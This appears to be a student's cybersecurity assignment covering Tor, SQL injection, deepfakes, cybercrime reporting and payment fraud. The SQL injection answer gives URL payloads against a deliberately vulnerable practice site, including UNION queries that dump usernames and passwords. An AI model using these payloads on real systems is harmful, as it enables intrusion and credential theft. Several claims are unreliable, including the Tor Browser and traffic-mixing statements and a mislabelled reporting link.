1) What is ToR and discuss attacks that are possible on it. Install ToR on your system and compare and contrast it with a regular search engine like Google.

ANSWER:

**What Is Tor?**

* **Tor** is an internet communication method designed for online anonymity.
* It consists of both an anonymity network and open-source software that supports it.
* The name “Tor” comes from “The Onion Router,” a project initially run by the US Naval Research Lab.

**How Does Tor Work?**

1. **Network of Relays**:
   * Tor directs internet traffic through thousands of volunteer-operated relays (nodes).
   * Each relay only knows the preceding and following node, obscuring the source and destination of messages.
2. **Layered Encryption**:
   * Messages are encapsulated in layers of encryption (like an onion).
   * Inside the Tor network are “.onion” sites (hidden services).
3. **Tor Browser**:
   * The easiest way to access Tor is through the **Tor Browser**.
   * It automatically connects to the Tor network, ensuring anonymity.
   * The browser enhances security by disabling JavaScript, image loading, etc.

**Attacks on Tor:**

1. **Traffic Analysis**:
   * Adversaries can analyze traffic patterns to infer user behavior.
   * Solution: Tor mixes traffic to make analysis difficult.
2. **Malicious Exit Nodes**:
   * Exit nodes (where traffic leaves the Tor network) can be compromised.
   * Solution: Use HTTPS for end-to-end encryption.
3. **Browser Fingerprinting**:
   * Unique browser characteristics can identify users.
   * Solution: Tor Browser minimizes fingerprinting.

**Comparing Tor with Google:**

* **Tor**:
  + **Privacy**: Strong anonymity and privacy.
  + **Access**: Can access “.onion” sites (dark web).
  + **Purpose**: Bypass censorship, protect privacy.
  + **Limitations**: Slower due to routing through relays.
* **Google**:
  + **Speed**: Faster due to direct connections.
  + **Privacy**: Tracks user data for personalized ads.
  + **Access**: Only surface web (not dark web).
  + **Purpose**: General web browsing.

2) Use the web site http://testphp.vulnweb.com/ for the following. Perform sql injection on it and retrieve the user table and its contents.

ANSWER:

**Steps to Perform SQL Injection:**

1. \*\***Identify an Injection Point:** \*\*

- Look for input fields where you can enter data. Common points are login forms, search fields, and URL parameters.

- Example: `http://testphp.vulnweb.com/artists.php?artist=1`

2. \*\***Test for SQL Injection Vulnerability:**\*\*

- Enter a single quote (`'`) or double quote (`"`) in the input field or URL parameter to see if you get an SQL error.

- Example: `http://testphp.vulnweb.com/artists.php?artist=1'`

3. \*\***Craft an SQL Injection Query:**\*\*

- If the input is vulnerable, craft a query to retrieve the data you want. For example, to retrieve the user table, you might use:

```sql

1' OR 1=1 --

```

- This will make the query always true, potentially exposing more data.

4. \*\***Extracting Data:\*\***

- Use SQL commands to extract data. For example:

```sql

' UNION SELECT null, table\_name FROM information\_schema.tables --

```

- This will list all table names in the database.

5. \*\*Retrieve Specific Table Contents:\*\*

- Once you identify the user table, craft another query to retrieve its contents:

```sql

' UNION SELECT null, column\_name FROM information\_schema.columns WHERE table\_name='users' --

```

- Then, retrieve the data from the user table:

```sql

' UNION SELECT username, password FROM users --

```

### Example Walkthrough:

1. \*\*Access the Vulnerable Page:\*\*

- Visit `http://testphp.vulnweb.com/artists.php?artist=1`.

2. \*\*Initial Test for Vulnerability:\*\*

- Modify the URL to `http://testphp.vulnweb.com/artists.php?artist=1'`.

- If the page returns an SQL error, it indicates a vulnerability.

3. \*\*List Table Names:\*\*

- Modify the URL to inject a query that lists table names:

```http

http://testphp.vulnweb.com/artists.php?artist=1' UNION SELECT null, table\_name FROM information\_schema.tables --

```

4. \*\*Identify User Table and Retrieve Columns:\*\*

- Find the user table (e.g., `users`).

- Inject a query to list columns of the user table:

```http

http://testphp.vulnweb.com/artists.php?artist=1' UNION SELECT null, column\_name FROM information\_schema.columns WHERE table\_name='users' --

```

5. \*\*Retrieve User Data:\*\*

- Extract data from the user table:

```http

http://testphp.vulnweb.com/artists.php?artist=1' UNION SELECT username, password FROM users --

```

### **Tools for Testing:**

- \*\*SQLMap:\*\* An automated tool for SQL injection and database takeover.

- \*\*Burp Suite:\*\* A comprehensive tool for web application security testing.

3) What are Deepfakes? Discuss how they are being used for Impersonation attacks. Explain how they can be countered.  
ANSWER:

**Deepfakes Defined:** Deepfakes are like Photoshop on steroids, powered by artificial intelligence (AI). They craft eerily realistic synthetic media—think photos, videos, and audio recordings. The trick? They manipulate existing data to create content that’s devilishly hard to distinguish from the real deal. Imagine swapping your face with Brad Pitt’s in a video. Yep, that’s a deepfake! 🎭

**Impersonation Attacks:** Now, picture this: A deepfake video surfaces, showing a prominent politician confessing to alien abductions. Or worse, your boss appears to endorse a diet of marshmallow-only lunches. Scandalous, right? Threat actors use deepfakes for:

1. **Social Media Shenanigans:** They impersonate celebs, politicians, or your grandma’s cat. These videos can spread like wildfire, sowing chaos and confusion.
2. **Fraud & Extortion:** Imagine a CEO “admitting” financial misconduct. Scammers use these to blackmail or manipulate stock markets.
3. **Character Assassination:** Deepfakes tarnish reputations. “Look, it’s Elon Musk endorsing pet rocks!” (Spoiler: It’s not.)

**Countering the Fakery:** We’re the good guys, so let’s fight back:

1. **Visual Inspection:** Squint at those pixels! Deepfakes often have glitches—wonky lip sync, flickering eyes, or ghostly artifacts. Trust your inner detective.
2. **Metadata Analysis:** Sherlock Holmes would approve. Check the digital fingerprints—metadata—of files. Was it tampered with? Elementary, my dear Watson!
3. **Forensics Magic:** CSI vibes! Analyze video patterns, audio cues, and compare with legit stuff. Catch those digital culprits.
4. **Machine Learning Vigilance:** Train AI to spot fakes. Show it tons of real and fake videos. It’ll learn to raise an eyebrow when things smell fishy.

4) Discuss about different types of Cyber crimes. Explain how a person can report to the concerned officials and take protection.  
ANSWER:

**Types of Cybercrimes:**

1. **Email and Internet Fraud:**
   * Scammers send deceptive emails or create fake websites to trick users into revealing personal information or transferring money.
   * **Protection:** Be skeptical of unsolicited emails. Verify sender addresses and avoid clicking suspicious links.
2. **Identity Fraud:**
   * Thieves steal personal info (like Social Security numbers) to commit fraud.
   * **Protection:** Guard your sensitive data. Use strong, unique passwords and enable two-factor authentication (2FA).
3. **Theft of Financial or Card Payment Data:**
   * Cybercriminals target credit card details, bank accounts, or payment systems.
   * **Protection:** Regularly monitor your financial statements. Report any unauthorized transactions promptly.
4. **Theft and Sale of Corporate Data:**
   * Hackers infiltrate organizations to steal sensitive data (trade secrets, customer info).
   * **Protection:** Employ robust security measures—firewalls, encryption, and access controls.
5. **Cyberextortion:**
   * Threat actors demand money (often in cryptocurrency) to prevent an attack (e.g., DDoS).
   * **Protection:** Stay informed about emerging threats. Backup critical data offline.
6. **Ransomware Attacks:**
   * Malicious software encrypts your files, demanding payment for decryption.
   * **Protection:** Regular backups are your lifeline. Don’t pay ransoms—it encourages attackers.

**Reporting and Protection:**

1. **Report to the Authorities:**
   * **Internet Crime Complaint Center (IC3):** Run by the FBI, IC3 is the central hub for reporting cybercrime. [File a complaint on their website1](https://www.ic3.gov/).
   * **Other Crimes:** Crimes against children should be reported to the National Center for Missing and Exploited Children. [Terrorism threats go to tips.fbi.gov](https://www.ic3.gov/)[2](https://www.ic3.gov/Home/ComplaintChoice/default%20.aspx/).
2. **Stay Educated:**
   * Knowledge is armor! Learn about common scams, phishing techniques, and security best practices.
   * **Protection:** Regularly update your software, use strong passwords, and be cautious online.
3. **Collaborate:**
   * Cybersecurity is a team sport. Organizations, individuals, and law enforcement must work together.
   * **Protection:** Share threat intelligence, attend security workshops, and report incidents promptly.

5) Discuss about various online payment frauds and how can they be prevented?

ANSWER:

**Types of Payment Fraud:**

1. **Phishing:**
   * **What it is:** Phishing is a social-engineering attack where fraudulent actors use deceptive emails, text messages, or websites to trick individuals into revealing sensitive information (like log-in credentials or credit card details).
   * **How it works:** The email appears to be from a trusted source (e.g., a bank or reputable retailer), urging recipients to click a link and update account info or verify a transaction.
   * **Prevention:** Always verify sender addresses, avoid clicking suspicious links, and educate employees about phishing tactics.
2. **Skimming:**
   * **What it is:** Skimming involves capturing card information at ATMs or payment terminals. Fraudsters install devices (skimmers) that read card data during legitimate transactions.
   * **Prevention:** Inspect card readers for any irregularities, cover your PIN when entering it, and use ATMs in well-lit, secure locations.
3. **Identity Theft:**
   * **What it is:** Personal information (e.g., Social Security numbers) is stolen and used for fraudulent purchases.
   * **Prevention:** Guard sensitive data—use strong, unique passwords, enable two-factor authentication (2FA), and shred documents with sensitive info.
4. **Chargeback Fraud:**
   * **What it is:** Fraudsters make a purchase, receive the goods or services, and then dispute the charge with their bank, claiming it was unauthorized.
   * **Prevention:** Maintain clear records of transactions, communicate with customers promptly, and provide excellent customer service.
5. **Business Email Compromise (BEC):**
   * **What it is:** Scammers impersonate executives or vendors via email to manipulate employees into transferring funds or revealing sensitive data.
   * **Prevention:** Implement strict approval processes for fund transfers, verify email requests independently, and train employees to recognize BEC attempts.

**Effective Prevention Measures:**

1. **Secure Payment Methods:**
   * Use secure online payment methods. Cash and checks are outdated; opt for digital transactions.
   * **Tip:** Consider real-time payment verification services to prevent fraudulent transactions.
2. **Authentication:**
   * Authenticate payees and recipients. Confirm their identity before processing payments.
   * **Tip:** Implement multi-factor authentication (MFA) for added security.
3. **Access Control:**
   * Limit access to account information. Only authorized personnel should handle sensitive data.
   * **Tip:** Regularly review access permissions and revoke unnecessary privileges.
4. **Employee Education:**
   * Train employees to recognize phishing attempts, BEC scams, and suspicious activity.
   * **Tip:** Conduct regular security awareness sessions.